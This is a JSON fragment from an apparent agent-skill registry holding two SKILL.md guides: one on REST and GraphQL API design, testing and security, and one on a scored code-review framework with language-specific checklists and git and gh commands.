404, 422, 429, 500) | /2 |\n| 5 | Shared schemas use $ref (DRY) | /2 |\n| 6 | Pagination parameters standardized | /2 |\n| 7 | Security scheme defined + applied globally | /2 |\n| 8 | Description includes auth, rate limits, versioning info | /2 |\n| 9 | Response headers documented (Location, Retry-After, ETag) | /2 |\n| 10 | Enums used for fixed value sets | /2 |\n\n**Score: ___/20** (Target: 16+)\n\n---\n\n## Phase 3: Implementation Patterns\n\n### Request Validation Layer\n\nEvery endpoint MUST validate before processing:\n\n```\nValidation Order:\n1. Content-Type header (reject non-JSON early)\n2. Authentication (401 before wasting cycles)\n3. Authorization (403 - does this user have access?)\n4. Path parameters (404 - does the resource exist?)\n5. Query parameters (400 - valid types/ranges?)\n6. Request body schema (422 - valid structure?)\n7. Business rules (422 - valid state transition?)\n```\n\n### Error Handling \u2014 Standard Error Codes\n\nDefine a consistent error code enum for your API:\n\n```\n# Authentication & Authorization\nAUTH_REQUIRED \u2014 No credentials provided\nAUTH_INVALID \u2014 Invalid/expired credentials\nAUTH_INSUFFICIENT \u2014 Valid credentials, wrong permissions\nAUTH_RATE_LIMITED \u2014 Too many auth attempts\n\n# Validation\nVALIDATION_FAILED \u2014 Generic validation error (see details array)\nINVALID_FORMAT \u2014 Field format wrong (email, UUID, etc.)\nREQUIRED_FIELD \u2014 Required field missing\nOUT_OF_RANGE \u2014 Value outside allowed range\nINVALID_ENUM \u2014 Value not in allowed set\n\n# Resource\nNOT_FOUND \u2014 Resource doesn't exist\nALREADY_EXISTS \u2014 Duplicate (unique constraint)\nCONFLICT \u2014 State conflict (e.g., already cancelled)\nGONE \u2014 Resource permanently deleted\n\n# Business Logic\nINSUFFICIENT_FUNDS \u2014 Payment-related\nQUOTA_EXCEEDED \u2014 Usage limit reached\nFEATURE_DISABLED \u2014 Feature flag off\nDEPENDENCY_FAILED \u2014 Upstream service error\n\n# System\nINTERNAL_ERROR \u2014 Unexpected server error\nSERVICE_UNAVAILABLE \u2014 Temporarily down\nTIMEOUT \u2014 Request took too long\n```\n\n### Idempotency\n\nFor non-idempotent operations (POST), require an idempotency key:\n\n```\nRequest:\nPOST /orders\nIdempotency-Key: ord_req_abc123\n\nServer behavior:\n1. Check if Idempotency-Key was seen before\n2. If yes \u2192 return cached response (same status, same body)\n3. If no \u2192 process request, cache response for 24h\n4. Key format: client-generated UUID or meaningful string\n```\n\n### Rate Limiting\n\nStandard headers to include:\n\n```\nX-RateLimit-Limit: 100 # Max requests per window\nX-RateLimit-Remaining: 67 # Remaining in current window\nX-RateLimit-Reset: 1706886400 # Unix timestamp when window resets\nRetry-After: 30 # Seconds to wait (on 429)\n```\n\nRate limit tiers:\n\n| Tier | Limit | Window | Use Case |\n|------|-------|--------|----------|\n| Standard | 100/min | Sliding | Normal API calls |\n| Bulk | 10/min | Sliding | Batch operations |\n| Search | 30/min | Sliding | Full-text search |\n| Auth | 5/min | Fixed | Login attempts |\n| Webhook | 1000/min | Sliding | Incoming webhooks |\n\n---\n\n## Phase 4: Testing Strategy\n\n### Test Pyramid for APIs\n\n```\n / E2E \\ \u2014 5-10 critical user flows\n / Contract \\ \u2014 Schema validation, backward compat\n / Integration \\ \u2014 Database, external services, auth\n / Unit Tests \\ \u2014 Business logic, validation, transforms\n \u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\u203e\n```\n\n### Test Checklist Per Endpoint\n\nFor EVERY endpoint, test these scenarios:\n\n```yaml\nendpoint: POST /orders\ntests:\n happy_path:\n - Creates order with valid data \u2192 201\n - Returns created resource with ID\n - Location header points to new resource\n - Timestamps are set (created_at, updated_at)\n \n validation:\n - Missing required fields \u2192 422 with field-level errors\n - Invalid field types (string where int expected) \u2192 422\n - Empty body \u2192 400\n - Invalid Content-Type \u2192 415\n - Extra unknown fields \u2192 ignored or 422 (pick one, be consistent)\n - Boundary values (min/max length, 0, negative, empty string vs null)\n \n authentication:\n - No token \u2192 401\n - Expired token \u2192 401\n - Invalid token \u2192 401\n - Valid token, wrong scope \u2192 403\n \n authorization:\n - User accessing own resource \u2192 200\n - User accessing other's resource \u2192 403 or 404 (security choice)\n - Admin accessing any resource \u2192 200\n \n edge_cases:\n - Duplicate creation (same idempotency key) \u2192 same 201 response\n - Concurrent creation race condition \u2192 one wins, one gets 409\n - Resource at max relationships \u2192 422\n - Unicode in text fields \u2192 handled correctly\n - Very long strings \u2192 422 with max length error\n - SQL injection in params \u2192 no effect (parameterized queries)\n - XSS in text fields \u2192 stored safely, escaped on output\n \n performance:\n - Response time < 200ms (p95)\n - List endpoint with 10K records \u2192 paginated, < 500ms\n - Bulk operation timeout handling\n```\n\n### curl Testing Recipes\n\n```bash\n# === Setup ===\nBASE=\"https://api.example.com/v1\"\nTOKEN=\"your_bearer_token\"\nalias api='curl -s -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\"'\n\n# === CRUD Lifecycle Test ===\n# Create\nORDER=$(api -X POST \"$BASE/orders\" -d '{\"customer_id\":\"cust_1\",\"items\":[{\"product_id\":\"prod_1\",\"qty\":2}]}')\nORDER_ID=$(echo \"$ORDER\" | jq -r '.data.id')\necho \"Created: $ORDER_ID\"\n\n# Read\napi \"$BASE/orders/$ORDER_ID\" | jq .\n\n# Update\napi -X PATCH \"$BASE/orders/$ORDER_ID\" -d '{\"notes\":\"Rush order\"}' | jq .\n\n# List with filters\napi \"$BASE/orders?status=draft&sort=-created_at&per_page=5\" | jq .\n\n# Action (state transition)\napi -X POST \"$BASE/orders/$ORDER_ID/confirm\" | jq .\n\n# Delete\ncurl -s -o /dev/null -w \"%{http_code}\" -X DELETE -H \"Authorization: Bearer $TOKEN\" \"$BASE/orders/$ORDER_ID\"\n\n# === Error Testing ===\n# No auth\ncurl -s \"$BASE/orders\" | jq .error\n\n# Invalid body\napi -X POST \"$BASE/orders\" -d '{\"invalid\": true}' | jq .error\n\n# Not found\napi \"$BASE/orders/nonexistent\" | jq .error\n\n# === Performance ===\n# Timing breakdown\ncurl -s -o /dev/null -w \"DNS:%{time_namelookup} TCP:%{time_connect} TLS:%{time_appconnect} TTFB:%{time_starttransfer} Total:%{time_total}\\n\" -H \"Authorization: Bearer $TOKEN\" \"$BASE/orders\"\n\n# Quick load test (50 requests, 10 concurrent)\nseq 50 | xargs -P10 -I{} curl -s -o /dev/null -w \"%{http_code} %{time_total}s\\n\" -H \"Authorization: Bearer $TOKEN\" \"$BASE/orders\"\n```\n\n### Contract Testing\n\nValidate your API hasn't broken backward compatibility:\n\n```yaml\n# contract-tests.yaml\ncontract:\n name: Order API Contract\n version: 1.0.0\n \n rules:\n # These changes are SAFE (non-breaking)\n safe:\n - Adding new optional fields to responses\n - Adding new endpoints\n - Adding new optional query parameters\n - Adding new enum values (if clients handle unknown)\n - Widening a constraint (min: 5 \u2192 min: 1)\n \n # These changes are BREAKING\n breaking:\n - Removing a response field\n - Renaming a response field\n - Changing a field type\n - Adding a new required request field\n - Removing an endpoint\n - Narrowing a constraint (max: 100 \u2192 max: 50)\n - Changing error response format\n - Removing an enum value\n \n # Verify after every change\n checks:\n - All existing fields still present in responses\n - All existing field types unchanged\n - All existing required fields still required (no more, no fewer)\n - Default values unchanged\n - Error format unchanged\n```\n\n---\n\n## Phase 5: Security\n\n### Security Checklist (audit every API)\n\n```yaml\nauthentication:\n - [ ] All endpoints require auth (except /health, /docs, public webhooks)\n - [ ] Tokens expire (short-lived access + long-lived refresh)\n - [ ] Token rotation supported\n - [ ] Failed auth returns 401 with no info leakage\n - [ ] API keys are hashed in storage (never plain text)\n\nauthorization:\n - [ ] Resource-level checks (user can only access their data)\n - [ ] Endpoint-level checks (role-based access)\n - [ ] No IDOR vulnerabilities (can't guess other users' resource IDs)\n - [ ] Admin endpoints separately protected\n - [ ] Webhook endpoints verify signatures\n\ninput_validation:\n - [ ] All inputs validated server-side (never trust client)\n - [ ] SQL injection prevented (parameterized queries only)\n - [ ] NoSQL injection prevented\n - [ ] Path traversal prevented\n - [ ] Request size limited (body, headers, URL length)\n - [ ] File upload types restricted and scanned\n\noutput_security:\n - [ ] No sensitive data in responses (passwords, tokens, internal IDs)\n - [ ] No stack traces in production errors\n - [ ] Consistent error format (no info leakage in different error types)\n - [ ] PII redacted in logs\n\ntransport:\n - [ ] HTTPS only (HTTP redirects to HTTPS)\n - [ ] HSTS header set\n - [ ] TLS 1.2+ required\n - [ ] CORS configured restrictively (specific origins, not *)\n \nheaders:\n - [ ] X-Content-Type-Options: nosniff\n - [ ] X-Frame-Options: DENY\n - [ ] Content-Security-Policy set\n - [ ] No Server version header\n - [ ] Cache-Control: no-store for sensitive endpoints\n```\n\n### CORS Configuration\n\n```yaml\n# Restrictive (recommended)\ncors:\n origins:\n - https://app.example.com\n - https://admin.example.com\n methods: [GET, POST, PUT, PATCH, DELETE]\n headers: [Authorization, Content-Type, X-Request-ID]\n credentials: true\n max_age: 3600\n\n# Common mistakes to avoid:\n# \u274c Access-Control-Allow-Origin: * (with credentials)\n# \u274c Reflecting Origin header without validation\n# \u274c Allowing all methods/headers\n```\n\n---\n\n## Phase 6: Versioning & Deprecation\n\n### Versioning Strategy Decision\n\n| Strategy | Example | Pros | Cons | Use When |\n|----------|---------|------|------|----------|\n| **URL path** | `/v1/orders` | Explicit, easy routing | URL pollution | Public APIs, multiple major versions |\n| **Header** | `API-Version: 2024-01` | Clean URLs | Hidden, harder to test | Internal APIs |\n| **Query param** | `?version=2` | Easy to test | Pollutes params | Quick prototypes |\n| **Date-based** | `2024-01-15` | Clear timeline | Many versions | Stripe-style APIs |\n\n**Recommended**: URL path for major versions, header for minor variations.\n\n### Deprecation Playbook\n\n```\nTimeline:\n1. T+0: Announce deprecation (docs, changelog, email)\n2. T+0: Add Deprecation + Sunset headers to old endpoints\n3. T+30d: Log warnings for old endpoint usage\n4. T+60d: Email heavy users of old endpoint directly\n5. T+90d: Return 299 warning header\n6. T+180d: Shut down old endpoint (410 Gone)\n\nHeaders:\nDeprecation: true\nSunset: Sat, 01 Jun 2025 00:00:00 GMT\nLink: <https://api.example.com/v2/orders>; rel=\"successor-version\"\n```\n\n### Migration Guide Template\n\n```markdown\n# Migrating from v1 to v2\n\n## Breaking Changes\n1. `user.name` split into `user.first_name` + `user.last_name`\n2. Pagination changed from offset to cursor-based\n3. Error format updated (see new schema)\n\n## Step-by-Step Migration\n1. Update your client SDK to v2 (`npm install @example/sdk@2`)\n2. Update response parsing for split name fields\n3. Replace `?page=N` with `?after=cursor` pagination\n4. Update error handling for new error format\n\n## Compatibility Mode\nSet `X-Compat-Mode: v1` header to get v1-style responses from v2 endpoints.\nAvailable until 2025-06-01.\n```\n\n---\n\n## Phase 7: Monitoring & Observability\n\n### Key Metrics Dashboard\n\n```yaml\navailability:\n - Uptime percentage (target: 99.9% = 8.7h downtime/year)\n - Health check status (/health endpoint)\n - Error rate (5xx / total requests)\n\nperformance:\n - p50 latency (target: < 100ms)\n - p95 latency (target: < 500ms)\n - p99 latency (target: < 1000ms)\n - Throughput (requests/second)\n - Time to first byte (TTFB)\n\nbusiness:\n - Requests per endpoint (usage patterns)\n - Unique API consumers/day\n - Error rate by endpoint\n - Rate limit hits/day\n - Authentication failures/day\n\ninfrastructure:\n - Database query time (p95)\n - Connection pool utilization\n - Memory/CPU per instance\n - Queue depth (async operations)\n```\n\n### Structured Logging\n\nEvery request should log:\n\n```json\n{\n \"timestamp\": \"2024-01-15T10:30:00.000Z\",\n \"level\": \"info\",\n \"request_id\": \"req_abc123\",\n \"method\": \"POST\",\n \"path\": \"/api/v1/orders\",\n \"status\": 201,\n \"duration_ms\": 45,\n \"user_id\": \"usr_xyz\",\n \"ip\": \"203.0.113.1\",\n \"user_agent\": \"MyApp/2.0\",\n \"request_size\": 256,\n \"response_size\": 1024\n}\n```\n\n### Health Check Endpoint\n\n```json\n// GET /health \u2014 for load balancers (simple)\n{ \"status\": \"ok\" }\n\n// GET /health/detailed \u2014 for monitoring (authenticated)\n{\n \"status\": \"degraded\",\n \"version\": \"1.5.2\",\n \"uptime_seconds\": 86400,\n \"checks\": {\n \"database\": { \"status\": \"ok\", \"latency_ms\": 5 },\n \"redis\": { \"status\": \"ok\", \"latency_ms\": 2 },\n \"external_payment_api\": { \"status\": \"degraded\", \"latency_ms\": 2500, \"error\": \"timeout\" },\n \"disk\": { \"status\": \"ok\", \"free_gb\": 45.2 }\n }\n}\n```\n\n---\n\n## Phase 8: API Review Scoring\n\nWhen reviewing an existing API, score across these dimensions:\n\n### API Quality Rubric (0-100)\n\n| Dimension | Weight | Criteria | Score |\n|-----------|--------|----------|-------|\n| **Design Consistency** | 20% | Naming conventions, HTTP methods, status codes, URL structure | /20 |\n| **Documentation** | 15% | OpenAPI spec, examples, error docs, changelog | /15 |\n| **Error Handling** | 15% | Consistent format, helpful messages, proper codes, no leakage | /15 |\n| **Security** | 20% | Auth, input validation, CORS, headers, no IDOR | /20 |\n| **Performance** | 15% | Latency targets met, pagination, caching headers, N+1 prevented | /15 |\n| **Developer Experience** | 15% | SDK quality, sandbox available, onboarding time, rate limit clarity | /15 |\n\n**Score: ___/100**\n\n| Rating | Score | Action |\n|--------|-------|--------|\n| \ud83d\udfe2 Excellent | 85-100 | Minor improvements only |\n| \ud83d\udfe1 Good | 70-84 | Address gaps before next major release |\n| \ud83d\udfe0 Needs Work | 50-69 | Prioritize improvements, create tech debt tickets |\n| \ud83d\udd34 Critical | <50 | Stop feature work, fix fundamentals first |\n\n### Review Output Template\n\n```markdown\n## API Review: [Service Name]\n\n**Date:** YYYY-MM-DD\n**Reviewer:** [Agent]\n**Score:** XX/100 (Rating)\n\n### Summary\n[2-3 sentence overview of API quality]\n\n### Scores by Dimension\n- Design Consistency: X/20 \u2014 [key finding]\n- Documentation: X/15 \u2014 [key finding]\n- Error Handling: X/15 \u2014 [key finding]\n- Security: X/20 \u2014 [key finding]\n- Performance: X/15 \u2014 [key finding]\n- Developer Experience: X/15 \u2014 [key finding]\n\n### Critical Issues (fix immediately)\n1. [Issue + recommendation]\n\n### High Priority (fix this sprint)\n1. [Issue + recommendation]\n\n### Nice to Have (backlog)\n1. [Issue + recommendation]\n\n### Positive Highlights\n- [What's working well]\n```\n\n---\n\n## GraphQL-Specific Guidance\n\n### Schema Design Principles\n\n```graphql\n# Good: clear types, nullable where appropriate, connections for lists\ntype Order {\n id: ID!\n status: OrderStatus!\n customer: Customer!\n items(first: Int, after: String): ItemConnection!\n total: Money!\n createdAt: DateTime!\n updatedAt: DateTime!\n}\n\ntype Money {\n amount: Int! # cents, not dollars (avoid float)\n currency: Currency!\n}\n\nenum OrderStatus {\n DRAFT\n CONFIRMED\n PROCESSING\n SHIPPED\n DELIVERED\n CANCELLED\n}\n\n# Mutations return the modified resource + errors\ntype CreateOrderPayload {\n order: Order\n errors: [UserError!]!\n}\n\ntype UserError {\n field: [String!]\n message: String!\n code: ErrorCode!\n}\n```\n\n### GraphQL Anti-Patterns\n\n| Anti-Pattern | Problem | Fix |\n|-------------|---------|-----|\n| No depth limit | Query bombs | Limit depth to 5-7 levels |\n| No complexity limit | Expensive queries | Assign cost per field, cap at 1000 |\n| N+1 queries | Performance death | Use DataLoader pattern |\n| No persisted queries | Security risk | Whitelist queries in production |\n| Exposing internal IDs | Leaks implementation | Use opaque global IDs |\n| No pagination | Memory explosion | Use Relay Connection spec |\n\n---\n\n## Edge Cases & Gotchas\n\n### Timezone Handling\n- Always store and return UTC (ISO 8601: `2024-01-15T10:30:00Z`)\n- Accept timezone in input, convert to UTC immediately\n- Never use local server time\n\n### Large Payloads\n- Set `Content-Length` limits (e.g., 1MB default, 10MB for uploads)\n- Use streaming for file uploads (multipart/form-data)\n- Compress responses (Accept-Encoding: gzip)\n- For very large exports \u2192 return 202 + poll status endpoint\n\n### Eventual Consistency\n- If using async processing, always return 202 + status URL\n- Include estimated completion time when possible\n- Client should poll with exponential backoff\n\n### Concurrent Updates\n- Use ETags for optimistic concurrency:\n - GET returns `ETag: \"v1\"` header\n - PUT/PATCH sends `If-Match: \"v1\"` header\n - Server returns 412 if resource changed since\n\n### Webhook Design\n- Include event type, timestamp, and full resource in payload\n- Sign payloads (HMAC-SHA256)\n- Expect retries (make handlers idempotent)\n- Return 200 quickly, process async\n- Include webhook ID for deduplication\n\n---\n\n## Quick Commands\n\n| Request | Action |\n|---------|--------|\n| \"Design an API for [domain]\" | Run Phase 1 resource modeling + naming |\n| \"Generate OpenAPI spec\" | Run Phase 2 with full components |\n| \"Review this API\" | Run Phase 8 scoring rubric |\n| \"Write tests for [endpoint]\" | Run Phase 4 endpoint checklist |\n| \"Security audit this API\" | Run Phase 5 security checklist |\n| \"How should I version this?\" | Run Phase 6 decision matrix |\n| \"Debug this API issue\" | Check Phase 7 logging + health patterns |\n| \"Design GraphQL schema for [domain]\" | Run GraphQL section |\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1kalin/afrexai-api-architect/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1kalin/afrexai-api-architect/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1kalin/afrexai-api-architect/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1kalin/afrexai-api-architect/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1kalin/afrexai-api-architect/SKILL.md", "importedAt": "2026-02-18T19:24:20.735Z"}}}}, {"slug": "clawhub-afrexai-code-reviewer", "name": "Code Review Engine", "category": "DevTools", "description": "Enterprise-grade automated code review. Works on GitHub PRs, local diffs, pasted code, or entire files. No dependencies \u2014 pure agent intelligence.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Code Review Engine", "slug": "clawhub-afrexai-code-reviewer", "version": "1.0.0", "description": "--- name: afrexai-code-reviewer description: Enterprise-grade code review agent. Reviews PRs, diffs, or code files for security vulnerabilities, performance issues, error handling gaps, architecture smells, and test coverage. Works with any language, any repo, no dependencies required. auto_trigger: false ---", "documentation_md": "---\nname: afrexai-code-reviewer\ndescription: Enterprise-grade code review agent. Reviews PRs, diffs, or code files for security vulnerabilities, performance issues, error handling gaps, architecture smells, and test coverage. Works with any language, any repo, no dependencies required.\nauto_trigger: false\n---\n\n# Code Review Engine\n\nEnterprise-grade automated code review. Works on GitHub PRs, local diffs, pasted code, or entire files. No dependencies \u2014 pure agent intelligence.\n\n## Quick Start\n\n### Review a GitHub PR\n```\nReview PR #42 in owner/repo\n```\n\n### Review a local diff\n```\nReview the staged changes in this repo\n```\n\n### Review a file\n```\nReview src/auth/login.ts for security issues\n```\n\n### Review pasted code\nJust paste code and say \"review this\"\n\n---\n\n## Review Framework: SPEAR\n\nEvery review follows the **SPEAR** framework \u2014 5 dimensions, each scored 1-10:\n\n### \ud83d\udd34 S \u2014 Security (Weight: 3x)\n| Check | Severity | Example |\n|-------|----------|---------|\n| Hardcoded secrets | CRITICAL | API keys, passwords, tokens in source |\n| SQL injection | CRITICAL | String concatenation in queries |\n| XSS vectors | HIGH | Unsanitized user input in HTML/DOM |\n| Path traversal | HIGH | User input in file paths without validation |\n| Insecure deserialization | HIGH | `eval()`, `pickle.loads()`, `JSON.parse` on untrusted input |\n| Auth bypass | CRITICAL | Missing auth checks on endpoints |\n| SSRF | HIGH | User-controlled URLs in server requests |\n| Timing attacks | MEDIUM | Non-constant-time string comparison for secrets |\n| Dependency vulnerabilities | MEDIUM | Known CVEs in imported packages |\n| Sensitive data logging | MEDIUM | PII, tokens, passwords in log output |\n| Insecure randomness | MEDIUM | `Math.random()` for security-sensitive values |\n| Missing rate limiting | MEDIUM | Auth endpoints without throttling |\n\n### \ud83d\udfe1 P \u2014 Performance (Weight: 2x)\n| Check | Severity | Example |\n|-------|----------|---------|\n| N+1 queries | HIGH | DB call inside a loop |\n| Unbounded queries | HIGH | `SELECT *` without LIMIT on user-facing endpoints |\n| Missing indexes (implied) | MEDIUM | Frequent WHERE/ORDER on unindexed columns |\n| Memory leaks | HIGH | Event listeners never removed, growing caches |\n| Blocking main thread | HIGH | Sync I/O in async context, CPU-heavy in event loop |\n| Unnecessary re-renders | MEDIUM | React: missing memo, unstable refs in deps |\n| Large bundle imports | MEDIUM | `import _ from 'lodash'` vs `import get from 'lodash/get'` |\n| Missing pagination | MEDIUM | Returning all records to client |\n| Redundant computation | LOW | Same expensive calc repeated without caching |\n| Connection pool exhaustion | HIGH | Not releasing DB/HTTP connections |\n\n### \ud83d\udfe0 E \u2014 Error Handling (Weight: 2x)\n| Check | Severity | Example |\n|-------|----------|---------|\n| Swallowed errors | HIGH | Empty catch blocks, Go `_ :=` on error |\n| Missing error boundaries | MEDIUM | React components without error boundaries |\n| Unchecked null/undefined | HIGH | No null checks before property access |\n| Missing finally/cleanup | MEDIUM | Resources opened but not guaranteed closed |\n| Generic error messages | LOW | `catch(e) { throw new Error(\"something went wrong\") }` |\n| Missing retry logic | MEDIUM | Network calls without retry on transient failures |\n| Panic/exit in library code | HIGH | `panic()`, `os.Exit()`, `process.exit()` in non-main |\n| Unhandled promise rejections | HIGH | Async calls without `.catch()` or try/catch |\n| Error type conflation | MEDIUM | All errors treated the same (4xx vs 5xx, retriable vs fatal) |\n\n### \ud83d\udd35 A \u2014 Architecture (Weight: 1.5x)\n| Check | Severity | Example |\n|-------|----------|---------|\n| God functions (>50 lines) | MEDIUM | Single function doing too many things |\n| God files (>300 lines) | MEDIUM | Monolithic module |\n| Tight coupling | MEDIUM | Direct DB calls in request handlers |\n| Missing abstraction | LOW | Repeated patterns that should be extracted |\n| Circular dependencies | HIGH | A imports B imports A |\n| Wrong layer | MEDIUM | Business logic in controllers, SQL in UI |\n| Magic numbers/strings | LOW | Hardcoded values without named constants |\n| Missing types | MEDIUM | `any` in TypeScript, missing type hints in Python |\n| Dead code | LOW | Unreachable branches, unused imports/variables |\n| Inconsistent patterns | LOW | Different error handling styles in same codebase |\n\n### \ud83d\udcca R \u2014 Reliability (Weight: 1.5x)\n| Check | Severity | Example |\n|-------|----------|---------|\n| Missing tests for changes | HIGH | New logic without corresponding test |\n| Test quality | MEDIUM | Tests that only check happy path |\n| Missing edge cases | MEDIUM | No handling for empty arrays, null, boundary values |\n| Race conditions | HIGH | Shared mutable state without synchronization |\n| Non-idempotent operations | MEDIUM | Retrying could cause duplicates |\n| Missing validation | HIGH | User input accepted without schema validation |\n| Brittle tests | LOW | Tests depending on execution order or timing |\n| Missing logging | MEDIUM | Error paths with no observability |\n| Configuration drift | MEDIUM | Hardcoded env-specific values |\n| Missing migrations | HIGH | Schema changes without migration files |\n\n---\n\n## Scoring System\n\n### Per-Finding Severity\n```\nCRITICAL \u2192 -3 points from dimension score\nHIGH \u2192 -2 points\nMEDIUM \u2192 -1 point\nLOW \u2192 -0.5 points\nINFO \u2192 0 (suggestion only)\n```\n\n### Overall SPEAR Score Calculation\n```\nRaw Score = (S\u00d73 + P\u00d72 + E\u00d72 + A\u00d71.5 + R\u00d71.5) / 10\nFinal Score = Raw Score \u00d7 10 (scale 0-100)\n```\n\n### Verdict Thresholds\n| Score | Verdict | Action |\n|-------|---------|--------|\n| 90-100 | \u2705 EXCELLENT | Ship it |\n| 75-89 | \ud83d\udfe2 GOOD | Minor suggestions, approve |\n| 60-74 | \ud83d\udfe1 NEEDS WORK | Address findings before merge |\n| 40-59 | \ud83d\udfe0 SIGNIFICANT ISSUES | Major rework needed |\n| 0-39 | \ud83d\udd34 BLOCK | Critical issues, do not merge |\n\n---\n\n## Review Output Template\n\nUse this structure for every review:\n\n```markdown\n# Code Review: [PR title or file name]\n\n## Summary\n[1-2 sentence overview of what this code does and overall quality]\n\n## SPEAR Score: [X]/100 \u2014 [VERDICT]\n\n| Dimension | Score | Key Finding |\n|-----------|-------|-------------|\n| \ud83d\udd34 Security | X/10 | [worst finding or \"Clean\"] |\n| \ud83d\udfe1 Performance | X/10 | [worst finding or \"Clean\"] |\n| \ud83d\udfe0 Error Handling | X/10 | [worst finding or \"Clean\"] |\n| \ud83d\udd35 Architecture | X/10 | [worst finding or \"Clean\"] |\n| \ud83d\udcca Reliability | X/10 | [worst finding or \"Clean\"] |\n\n## Findings\n\n### [CRITICAL/HIGH] \ud83d\udd34 [Title]\n**File:** `path/to/file.ts:42`\n**Category:** Security\n**Issue:** [What's wrong]\n**Impact:** [What could happen]\n**Fix:**\n```[lang]\n// suggested fix\n```\n\n### [MEDIUM] \ud83d\udfe1 [Title]\n...\n\n## What's Done Well\n- [Genuinely good patterns worth calling out]\n\n## Recommendations\n1. [Prioritized action items]\n```\n\n---\n\n## Language-Specific Patterns\n\n### TypeScript / JavaScript\n- `any` type usage \u2192 Architecture finding\n- `as` type assertions \u2192 potential runtime error\n- `console.log` in production code \u2192 Style\n- `==` instead of `===` \u2192 Reliability\n- Missing `async/await` error handling\n- `useEffect` missing cleanup return\n- Index signatures without validation\n\n### Python\n- Bare `except:` or `except Exception:` \u2192 Error Handling\n- `eval()` / `exec()` \u2192 Security CRITICAL\n- Mutable default arguments \u2192 Reliability\n- `import *` \u2192 Architecture\n- Missing `__init__.py` type hints\n- f-strings with user input \u2192 potential injection\n\n### Go\n- `_ :=` discarding errors \u2192 Error Handling HIGH\n- `panic()` in library code \u2192 Reliability HIGH\n- Missing `defer` for resource cleanup\n- Exported functions without doc comments\n- `interface{}` / `any` overuse\n\n### Java\n- Catching `Exception` or `Throwable` \u2192 Error Handling\n- Missing `@Override` annotations\n- Mutable static fields \u2192 thread safety\n- `System.out.println` in production\n- Missing null checks (pre-Optional code)\n\n### SQL\n- String concatenation in queries \u2192 Security CRITICAL\n- `SELECT *` \u2192 Performance\n- Missing WHERE on UPDATE/DELETE \u2192 Security CRITICAL\n- No LIMIT on user-facing queries \u2192 Performance\n- Missing indexes for JOIN columns\n\n---\n\n## Advanced Techniques\n\n### Reviewing for Business Logic\nBeyond code quality, check:\n- Does the code match the PR description / ticket requirements?\n- Are there edge cases the spec didn't mention?\n- Could this break existing functionality?\n- Is there a simpler way to achieve the same result?\n\n### Reviewing for Operability\n- Can this be debugged in production? (logging, error messages)\n- Can this be rolled back safely?\n- Are feature flags needed?\n- What monitoring should accompany this change?\n\n### Reviewing Database Changes\n- Is the migration reversible?\n- Will it lock tables during migration?\n- Are there indexes for new query patterns?\n- Is there a data backfill needed?\n\n### Security Review Depth Levels\n| Level | When | What |\n|-------|------|------|\n| Quick | Internal tool, trusted input | OWASP Top 10 patterns only |\n| Standard | User-facing feature | + auth, input validation, output encoding |\n| Deep | Payment, auth, PII handling | + crypto review, session management, audit logging |\n| Threat Model | New service/API surface | + attack surface mapping, trust boundaries |\n\n---\n\n## Integration Patterns\n\n### GitHub PR Review\n```bash\n# Get PR diff\ngh pr diff 42 --repo owner/repo\n\n# Get PR details\ngh pr view 42 --repo owner/repo --json title,body,files,commits\n\n# Post review comment\ngh pr review 42 --repo owner/repo --comment --body \"review content\"\n```\n\n### Local Git Review\n```bash\n# Review staged changes\ngit diff --cached\n\n# Review branch vs main\ngit diff main..HEAD\n\n# Review last N commits\ngit log -5 --oneline && git diff HEAD~5..HEAD\n```\n\n### Heartbeat / Cron Integration\n```\nCheck for open PRs in [repo] that I haven't reviewed yet.\nFor each, run a SPEAR review and post the results as a PR comment.\n```\n\n---\n\n## Edge Cases & Gotchas\n\n- **Large PRs (>500 lines):** Break into logical chunks. Review file-by-file. Flag the PR size itself as a finding (Architecture: \"PR too large \u2014 consider splitting\").\n- **Generated code:** Skip generated files (proto, swagger, migrations from ORMs). Note that you skipped them.\n- **Dependency updates:** Focus on breaking changes in changelogs, not the lockfile diff.\n- **Merge conflicts markers:** Flag immediately as CRITICAL \u2014 `<<<<<<<` in code means broken merge.\n- **Binary files:** Note presence, can't review content.\n- **Config changes:** Extra scrutiny \u2014 wrong env var = production outage.\n- **Refactors:** Verify behavior preservation. Check if tests still pass conceptually.\n\n---\n\n## Review Checklist (Quick Mode)\n\nFor fast reviews when full SPEAR isn't needed:\n\n- [ ] No hardcoded secrets or credentials\n- [ ] No SQL injection / XSS / path traversal\n- [ ] All errors handled (no empty catch, no discarded errors)\n- [ ] No N+1 queries or unbounded operations\n- [ ] Tests exist for new/changed logic\n- [ ] No `console.log` / `print` / `fmt.Print` left in\n- [ ] Functions under 50 lines, files under 300 lines\n- [ ] Types are specific (no `any` / `interface{}`)\n- [ ] PR description matches the actual changes\n- [ ] No TODOs without linked issues\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1kalin/afrexai-code-reviewer/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1kalin/afrexai-code-reviewer/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1kalin/afrexai-code-reviewer/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1kalin/afrexai-code-reviewer/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1kalin/afrexai-code-reviewer/SKILL.md", "importedAt": "2026-02-18T19:24:20.753Z"}}}}, 